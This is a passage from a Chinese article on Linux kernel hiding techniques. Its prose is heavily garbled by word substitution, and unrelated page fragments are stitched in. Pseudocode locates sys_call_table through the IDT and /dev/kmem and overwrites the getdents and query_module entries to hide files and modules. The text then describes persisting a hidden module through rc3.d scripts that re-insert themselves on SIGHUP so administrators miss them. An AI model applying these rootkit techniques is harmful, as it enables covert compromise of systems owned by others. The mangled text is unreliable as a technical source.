如果你只是想应付一下操作系统的课程,劝你最好别学,或者说不要指望能用的怎么样。
存器中)是不是正当,继而对设置调试的情形举行处置,在一切这些举行完后,使用call*SYMBOL_NAME(sys_call_table)(,%eax,4)来转进响应的体系挪用举行处置,个中的SYMBOL_NAME(sys_call_table)得出的就是sys_call_table的地点。从下面的剖析能够看出,当找到system_call函数以后,使用字符婚配来寻觅响应call语句就能够断定sys_call_table的地位,由于callsomething(,%eax,4)的呆板指令码是0xff0x140x85。以是婚配这个指令码就好了。至于怎样断定system_call的地点在背景常识中已先容了,上面给出响应的伪代码:</P> struct{//各字段寄义能够参考背景常识中关于IDTR存放器的先容
unsignedshortlimit;
unsignedintbase;
}__attribute__((packed))idtr;
struct{ //各字段寄义能够参考背景常识中关于中止形貌符的先容
unsignedshortoff1;
unsignedshortsel;
unsignedcharnone,flags;
unsignedshortoff2;
}__attribute__((packed))idt;
intkmem;
/*上面函数用于从kemem对应的文件中偏移量为off处读取sz个字节至内存m处*/
voidreadkmem(void*m,unsignedoff,intsz){………}
/*上面函数用于从src读取count个字节至dest处*/
voidweitekmem(void*src,void*dest,unsignedintcount){………..}
unsignedsct; //用来寄存sys_call_table地点
charbuff[100];//用于寄存system_call函数的前100个字节。
char*p;
if((kmem=open(“/dev/kmem”,O_RDONLY))<0)
return1;
asm(“sidt%0”“:=m”(idtr)); //读取idtr存放器的值至idtr布局中
readkmem(&idt,idtr.base+8*0x80,sizeof(idt)) //将0x80形貌符读至idt布局中
sys_call_off=(idt.off2<<16) idt.off1; //失掉system_call函数的地点。
readkmem(buff,sys_call_off,100) //读取system_call函数的前100字节至buff
p=(char*)memmem(buff,100,”xffx14x85”,3); //失掉call语句对应呆板码的地点
sct=(unsigned*)(p+3) //失掉sys_call_table的地点。
至此已失掉了sys_call_table在内存中的地位,如许在依据体系挪用号就可以够找到响应的体系挪用对应的地点,修正该地点就能够利用新的体系调函数,详细的做法以下:
readkmem(&orig_getdents,sct+SYS_getdents*4,4)//保留本来的体系挪用
readkmem(&orig_query_module,sct+SYS_query_module*4,4);
writekmem(hacked_getdents,sct+SYS_getdents*4,4);//设置新的体系挪用
writekmem(hacket_query_module,sct+SYS_query_module*4,4);
2.5 其他的相干手艺
下面已完整办理了埋没的相干手艺成绩,在实践使用中,能够把启动模块大概历程的代码做成剧本到场到响应的启动目次中,假定你的Linux运转级别为3,则能够加到目次rc3.d中(该目次常存在于/etc/rc.d大概/etc目次下),然后把该剧本的名字改成能够埋没的名字。另外一种办法就是在一些启动剧本中到场启动你的模块大概历程的代码,但如许对照简单被发明,一个办理思绪就是历程或模块启动今后即刻恢复一般的剧本,因为体系关机时会向一切历程发送SIGHUP旌旗灯号,能够在历程或模块中处置该旌旗灯号,使该旌旗灯号产生时修正启动剧本,从头到场启动模块的代码,如许当体系下次启动时又能够加载这个的模块了,并且办理员观察启动剧本时也不会发明非常。
3.停止语
本文对Linux情况下的一些初级埋没手艺举行了剖析研讨,个中所触及的手艺不但能够用在体系平安方面,在其他方面也有主要的自创意义。因为Linux的开放特征,使得打击者一旦取得了root权限就可以够对体系举行较多的修正,以是制止第一次被进侵是相当主要的
</p>上一页123
按照它们在系统中的作用分成几个部分介绍给大家,通过这些基础命令的学习我们可以进一步理解Linux系统: |